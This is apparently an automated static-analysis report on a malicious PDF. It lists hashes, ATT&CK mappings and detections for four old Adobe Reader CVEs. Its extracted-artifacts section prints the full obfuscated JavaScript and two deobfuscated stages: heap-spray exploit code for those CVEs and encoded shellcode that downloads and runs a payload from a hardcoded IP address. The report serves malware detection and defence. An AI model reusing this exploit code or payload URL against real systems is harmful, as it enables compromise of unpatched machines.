Malicious PDF — malware analysis report

Static analysis result for SHA-256 5651760ed41e2b27…

MALICIOUS

PDF

12.3 KB First seen: 2026-05-09
MD5: b7c7cd4fb0d3b539c51f5ff6340ae4f6 SHA-1: f468a4e21624a826d6f73fc2e3e477f9ff7d7f71 SHA-256: 5651760ed41e2b271e3ef01b31647d0c8351bd4543c8426e0a467d04a90ccc89
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits several known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it is designed to download and execute a second-stage payload from the URL http://66.199.229.50/w.php?f=75&e=5. This is a common pattern for exploit kits targeting unpatched PDF readers.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=75&e=5 Referenced by PDF JavaScript

Related samples 4

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11515 bytes
SHA-256: 3ce180abbe12c14b1f037b0b3c201fbd70b03e6eddfaa1a4c9a6470bc8ecc573
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(50,1,20,25,20,63,45,63,41,41,47,13,26,4,71,63,3,30,23,66,61,61,3,30,1,29,25,64,3,30,23,38,1,29,3,30,56,38,25,64,3,30,25,18,66,64,3,30,66,66,38,1,3,30,61,64,29,28,3,30,64,28,23,47,3,30,23,47,66,28,3,30,28,29,64,28,3,30,56,28,23,47,3,30,38,61,45,29,3,30,56,61,23,47,3,30,66,66,28,23,3,30,61,61,15,47,3,30,38,25,23,47,3,30,28,66,66,29,3,30,66,66,56,64,3,30,23,45,69,29,3,30,45,38,25,25,3,30,1,1,45,28,3,30,47,23,1,1,3,30,64,28,23,47,3,30,29,66,66,28,3,30,66,18,64,61,3,30,56,38,28,61,3,30,23,56,1,47,3,30,69,64,66,64,3,30,25,64,23,38,3,30,38,45,56,38,3,30,25,47,25,18,3,30,38,45,64,29,3,30,23,47,38,61,3,30,66,29,56,38,3,30,56,64,23,47,3,30,56,23,66,38,3,30,1,38,28,66,3,30,23,47,38,61,3,30,69,28,56,61,3,30,1,38,28,66,3,30,29,18,66,66,3,30,64,45,64,18,3,30,73,15,1,29,3,30,29,38,28,66,3,30,15,47,66,66,3,30,47,25,28,1,3,30,66,23,45,28,3,30,56,64,1,69,3,30,29,45,28,23,3,30,28,15,29,47,3,30,15,73,28,66,3,30,25,47,64,28,3,30,66,47,1,45,3,30,56,38,45,1,3,30,38,25,25,61,3,30,38,25,23,47,3,30,28,66,69,64,3,30,61,61,15,15,3,30,28,29,23,47,3,30,23,15,64,47,3,30,25,29,64,61,3,30,38,64,1,1,3,30,28,29,69,64,3,30,15,23,23,47,3,30,15,15,28,66,3,30,28,64,23,47,3,30,28,66,23,47,3,30,73,47,29,38,3,30,38,18,38,25,3,30,25,47,29,66,3,30,73,15,38,66,3,30,61,23,23,47,3,30,23,28,69,28,3,30,28,29,56,15,3,30,56,64,66,66,3,30,18,61,28,66,3,30,1,66,25,47,3,30,61,23,23,47,3,30,23,47,28,23,3,30,61,73,1,56,3,30,38,18,28,38,3,30,18,23,25,23,3,30,1,1,1,1,3,30,25,69,1,1,3,30,25,23,1,18,3,30,28,28,28,28,3,30,28,28,28,28,3,30,38,28,38,23,3,30,64,28,61,73,3,30,1,1,61,23,3,30,28,28,28,28,3,30,38,28,28,28,3,30,29,28,23,66,3,30,38,28,45,18,3,30,23,47,38,38,3,30,23,47,25,29,3,30,45,28,38,25,3,30,29,66,23,66,3,30,1,1,28,38,3,30,61,23,25,66,3,30,61,25,61,1,3,30,28,28,28,28,3,30,56,38,61,23,3,30,61,29,56,69,3,30,38,64,61,15,3,30,45,61,1,1,3,30,29,64,23,66,3,30,23,47,28,23,3,30,25,23,25,23,3,30,1,1,61,45,3,30,1,1,1,1,3,30,28,69,25,47,3,30,56,69,25,47,3,30,25,29,23,45,3,30,28,45,28,64,3,30,28,28,28,28,3,30,38,29,23,15,3,30,28,29,69,64,3,30,28,64,29,56,3,30,56,69,69,64,3,30,61,56,61,38,3,30,29,56,56,66,3,30,69,64,64,64,3,30,56,61,28,64,3,30,66,66,56,69,3,30,29,56,66,69,3,30,69,64,64,64,3,30,69,28,28,23,3,30,56,66,69,15,3,30,38,66,69,28,3,30,1,23,61,23,3,30,28,28,28,28,3,30,1,1,28,28,3,30,28,29,38,61,3,30,25,23,23,47,3,30,29,18,66,66,3,30,29,56,38,45,3,30,45,15,64,64,3,30,56,56,28,28,3,30,61,69,56,28,3,30,29,56,56,64,3,30,45,15,64,64,3,30,69,25,28,38,3,30,61,29,61,64,3,30,29,61,61,29,3,30,45,15,64,64,3,30,28,28,28,18,3,30,23,73,38,18,3,30,28,64,29,45,3,30,23,23,66,28,3,30,45,15,64,64,3,30,64,45,28,64,3,30,61,73,38,45,3,30,61,73,28,28,3,30,38,66,28,28,3,30,61,73,38,56,3,30,1,1,28,28,3,30,45,64,38,61,3,30,29,28,23,38,3,30,45,61,56,38,3,30,28,28,61,73,3,30,1,1,38,66,3,30,28,64,38,61,3,30,28,28,61,73,3,30,25,47,23,66,3,30,38,66,28,29,3,30,38,61,1,1,3,30,23,66,28,64,3,30,28,29,29,66,3,30,28,69,25,47,3,30,45,66,25,47,3,30,23,28,64,56,3,30,28,28,66,1,3,30,1,73,56,38,3,30,23,28,64,56,3,30,28,28,66,1,3,30,29,64,56,38,3,30,28,28,61,73,3,30,1,25,61,73,3,30,38,61,1,1,3,30,25,23,28,23,3,30,1,25,18,29,3,30,1,1,1,1,3,30,64,25,23,25,3,30,25,29,28,25,3,30,1,25,18,23,3,30,28,25,23,73,3,30,61,1,23,18,3,30,47,15,28,45,3,30,29,73,66,66,3,30,38,47,23,73,3,30,29,61,45,47,3,30,56,18,64,61,3,30,45,73,66,61,3,30,56,28,69,1,3,30,56,64,61,23,3,30,56,28,56,64,3,30,69,1,66,73,3,30,66,61,69,1,3,30,69,25,66,61,3,30,66,18,66,45,3,30,69,25,66,18,3,30,66,69,66,69,3,30,69,25,66,18,3,30,66,28,66,38,3,30,56,56,69,1,3,30,56,28,69,25,3,30,56,28,61,23,3,30,61,61,66,1,3,30,66,56,66,15,3,30,69,61,66,38,3,30,66,15,61,38,3,30,28,28,66,38,3,30,28,28,28,28,63,51,1,30,2,29,7,50,22,2,24,25,27,72,59,20,59,73,33,52,70,41,8,16,68,50,11,25,20,59,73,37,11,25,2,4,7,68,75,69,12,52,70,41,8,59,73,57,71,59,73,51,34,59,73,71,59,73,37,26,30,47,26,7,59,50,2,4,20,28,33,52,70,60,69,41,51,59,25,7,30,59,2,24,59,73,51,34,24,1,30,2,29,7,50,22,2,24,47,31,20,41,8,72,73,59,24,15,58,4,71,2,25,16,24,6,59,59,73,70,20,41,51,72,73,59,24,72,16,71,28,31,28,29,28,29,28,29,28,29,51,72,73,59,24,73,15,15,59,71,28,31,64,28,28,28,28,28,51,72,73,59,24,49,73,70,11,22,73,15,71,30,2,25,26,29,73,49,25,20,47,13,26,4,41,51,72,73,59,24,26,29,35,11,25,2,71,49,73,70,11,22,73,15,37,11,25,2,4,7,68,75,69,51,72,73,59,24,52,70,71,73,15,15,59,32,20,26,29,35,11,25,2,57,28,31,66,23,41,51,72,73,59,24,70,73,59,26,49,71,30,2,25,26,29,73,49,25,20,0,3,30,18,28,18,28,3,30,18,28,18,28,0,41,51,70,73,59,26,49,71,25,27,72,59,20,70,73,59,26,49,33,52,70,41,51,72,73,59,24,29,22,30,2,7,69,71,20,72,16,32,28,31,64,28,28,28,28,28,41,60,73,15,15,59,51,1,22,59,20,72,73,59,24,29,22,30,2,7,71,28,51,29,22,30,2,7,12,29,22,30,2,7,69,51,29,22,30,2,7,57,57,41,8,15,58,4,19,29,22,30,2,7,74,71,70,73,59,26,49,57,49,73,70,11,22,73,15,51,34,24,72,73,59,24,22,72,25,59,1,11,22,16,71,30,2,25,26,29,73,49,25,20,0,3,30,28,29,28,29,3,30,28,29,28,29,0,41,51,16,68,50,11,25,20,22,72,25,59,1,11,22,16,37,11,25,2,4,7,68,12,64,64,18,38,69,41,8,22,72,25,59,1,11,22,16,57,71,22,72,25,59,1,11,22,16,51,34,24,7,68,50,26,37,29,22,11,11,73,47,42,7,22,59,25,71,36,22,11,11,73,47,37,29,22,11,11,25,29,7,48,53,73,50,11,67,2,1,22,20,8,26,30,47,13,55,0,0,33,53,26,4,55,22,72,25,59,1,11,22,16,34,41,51,34,24,1,30,2,29,7,50,22,2,24,49,59,50,2,7,1,20,41,8,2,22,49,71,30,2,25,26,29,73,49,25,20,0,3,30,28,6,28,6,3,30,28,6,28,6,3,30,28,6,28,6,3,30,28,6,28,6,0,41,51,72,73,59,24,49,73,70,11,22,73,15,71,30,2,25,26,29,73,49,25,20,47,13,26,4,41,51,68,25,73,49,47,11,22,29,58,71,2,22,49,57,49,73,70,11,22,73,15,51,47,50,4,47,11,22,29,58,71,30,2,25,26,29,73,49,25,20,0,3,30,28,6,28,6,3,30,28,6,28,6,0,41,51,68,25,73,15,25,59,26,50,27,25,71,69,28,51,26,49,59,73,70,71,68,25,73,15,25,59,26,50,27,25,57,68,25,73,49,47,11,22,29,58,37,11,25,2,4,7,68,51,16,68,50,11,25,20,47,50,4,47,11,22,29,58,37,11,25,2,4,7,68,12,26,49,59,73,70,41,8,47,50,4,47,11,22,29,58,57,71,47,50,4,47,11,22,29,58,51,34,24,1,50,11,11,47,11,22,29,58,71,47,50,4,47,11,22,29,58,37,26,30,47,26,7,59,50,2,4,20,28,33,26,49,59,73,70,41,51,47,11,22,29,58,71,47,50,4,47,11,22,29,58,37,26,30,47,26,7,59,50,2,4,20,28,33,47,50,4,47,11,22,29,58,37,11,25,2,4,7,68,32,26,49,59,73,70,41,51,16,68,50,11,25,20,47,11,22,29,58,37,11,25,2,4,7,68,57,26,49,59,73,70,12,28,31,64,28,28,28,28,41,8,47,11,22,29,58,71,47,11,22,29,58,57,47,11,22,29,58,57,1,50,11,11,47,11,22,29,58,51,34,24,53,25,53,71,2,25,16,24,6,59,59,73,70,20,41,51,1,22,59,20,50,71,28,51,50,12,45,64,28,28,51,50,57,57,41,8,53,25,53,19,50,74,71,47,11,22,29,58,57,68,25,73,49,47,11,22,29,58,51,34,24,72,73,59,24,2,30,53,71,45,69,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,51,30,7,50,11,37,49,59,50,2,7,1,20,0,3,64,38,28,28,28,1,0,33,2,30,53,41,51,34,24,1,30,2,29,7,50,22,2,24,4,25,7,50,29,22,2,20,41,8,72,73,59,24,73,59,59,70,71,2,25,16,24,6,59,59,73,70,20,41,51,50,1,20,73,49,49,37,15,22,29,37,36,22,11,11,73,47,37,4,25,7,67,29,22,2,41,8,72,73,59,24,49,73,70,11,22,73,15,71,30,2,25,26,29,73,49,25,20,47,13,26,4,41,51,72,73,59,24,68,21,52,38,28,28,36,62,71,49,73,70,11,22,73,15,37,11,25,2,4,7,68,75,69,51,72,73,59,24,52,70,71,28,31,64,28,28,28,28,28,32,20,68,21,52,38,28,28,36,62,57,28,31,66,23,41,51,72,73,59,24,70,73,59,26,49,71,30,2,25,26,29,73,49,25,20,0,3,30,18,28,18,28,3,30,18,28,18,28,0,41,51,70,73,59,26,49,71,25,27,72,59,20,70,73,59,26,49,33,52,70,41,51,72,73,59,24,49,38,6,13,65,61,38,1,71,20,28,31,28,29,28,29,28,29,28,29,32,28,31,64,28,28,28,28,28,41,60,28,31,64,28,28,28,28,28,51,1,22,59,20,72,73,59,24,72,52,29,43,54,18,61,70,71,28,51,72,52,29,43,54,18,61,70,12,49,38,6,13,65,61,38,1,51,72,52,29,43,54,18,61,70,57,57,41,8,73,59,59,70,19,72,52,29,43,54,18,61,70,74,71,70,73,59,26,49,57,49,73,70,11,22,73,15,51,34,24,72,73,59,24,7,44,39,68,62,47,40,16,71,30,2,25,26,29,73,49,25,20,0,3,28,18,0,41,51,16,68,50,11,25,20,7,44,39,68,62,47,40,16,37,11,25,2,4,7,68,12,28,31,64,28,28,28,41,8,7,44,39,68,62,47,40,16,57,71,7,44,39,68,62,47,40,16,51,34,24,7,44,39,68,62,47,40,16,71,0,62,37,0,57,7,44,39,68,62,47,40,16,51,73,49,49,37,15,22,29,37,36,22,11,11,73,47,37,4,25,7,67,29,22,2,20,7,44,39,68,62,47,40,16,41,51,34,34,24,73,9,11,30,4,50,2,26,71,73,49,49,37,49,11,30,4,67,2,26,51,72,73,59,24,26,72,71,49,73,59,26,25,67,2,7,20,73,49,49,37,72,50,25,16,25,59,10,25,59,26,50,22,2,37,7,22,42,7,59,50,2,4,20,41,37,29,68,73,59,6,7,20,28,41,41,51,1,22,59,20,72,73,59,24,50,71,28,51,50,12,73,9,11,30,4,50,2,26,37,11,25,2,4,7,68,51,50,57,57,41,8,50,1,20,73,9,11,30,4,50,2,26,19,50,74,37,2,73,53,25,71,71,63,48,42,29,59,50,49,7,63,41,8,72,73,59,24,11,72,71,73,9,11,30,4,50,2,26,19,50,74,37,72,25,59,26,50,22,2,51,34,34,24,50,1,20,20,11,72,71,71,18,41,46,46,20,20,26,72,71,71,23,41,14,14,20,11,72,12,71,23,37,45,69,41,41,41,8,4,25,7,50,29,22,2,20,41,51,34,25,11,26,25,24,50,1,20,11,72,71,71,56,37,45,41,8,49,59,50,2,7,1,20,41,51,34,25,11,26,25,24,50,1,20,20,20,26,72,71,71,61,41,46,46,20,26,72,71,71,56,41,41,14,14,20,11,72,12,56,37,45,45,41,41,8,47,31,20,41,51,34,25,11,26,25,24,50,1,20,20,11,72,5,71,18,37,45,41,46,46,20,11,72,12,71,18,37,69,41,46,46,20,11,72,5,71,23,37,45,66,41,46,46,20,11,72,12,71,23,37,45,56,41,41,8,1,30,2,29,7,50,22,2,24,73,20,41,8,30,7,50,11,37,49,59,50,2,7,15,20,63,49,17,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,24,55,24,70,70,70,70,45,45,45,63,33,2,25,16,24,54,73,7,25,20,41,41,51,34,72,73,59,24,68,71,73,49,49,37,49,11,30,4,67,2,26,51,1,22,59,20,72,73,59,24,1,71,28,51,1,12,68,37,11,25,2,4,7,68,51,1,57,57,41,8,50,1,20,68,19,1,74,37,2,73,53,25,71,71,63,48,42,29,59,50,49,7,63,41,8,72,73,59,24,50,71,68,19,1,74,37,72,25,59,26,50,22,2,51,34,34,24,50,1,20,20,50,5,23,37,45,69,41,14,14,20,50,12,23,37,69,41,41,8,29,71,2,25,16,24,6,59,59,73,70,20,41,51,72,73,59,24,15,71,30,2,25,26,29,73,49,25,20,63,3,30,18,28,18,28,3,30,18,28,18,28,63,41,51,72,73,59,24,25,71,30,2,25,26,29,73,49,25,20,47,13,26,4,41,51,16,68,50,11,25,20,15,37,11,25,2,4,7,68,12,71,28,31,23,28,28,28,41,8,15,57,71,15,51,34,15,71,15,37,26,30,47,26,7,59,20,28,33,28,31,23,28,28,28,32,25,37,11,25,2,4,7,68,41,51,1,22,59,20,1,71,28,51,1,12,69,18,28,28,51,1,57,57,41,8,29,19,1,74,71,15,57,25,51,34,73,20,41,51,73,20,41,51,7,59,70,8,7,68,50,26,37,53,25,15,50,73,37,2,25,16,9,11,73,70,25,59,20,2,30,11,11,41,51,34,29,73,7,29,68,20,25,41,8,34,73,20,41,51,34,34);
a=new String("'fn%g>At{PVl<j&dw@9[(Wo8 esz0cux-,}_C.5MG)SQU1|bEpi;qmD:7+kr/6N'4K3Ih2y=va]*");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: 36e49e6971b12373536360c9508787aaf213e8498336c1fcf5b9f4fde208d954
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u373d%u2635%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: 0baf922d2483e23cc73cf6866d2b53d7684eddb0e645179ca8606f62aef9d913
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u373d%u2635%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var 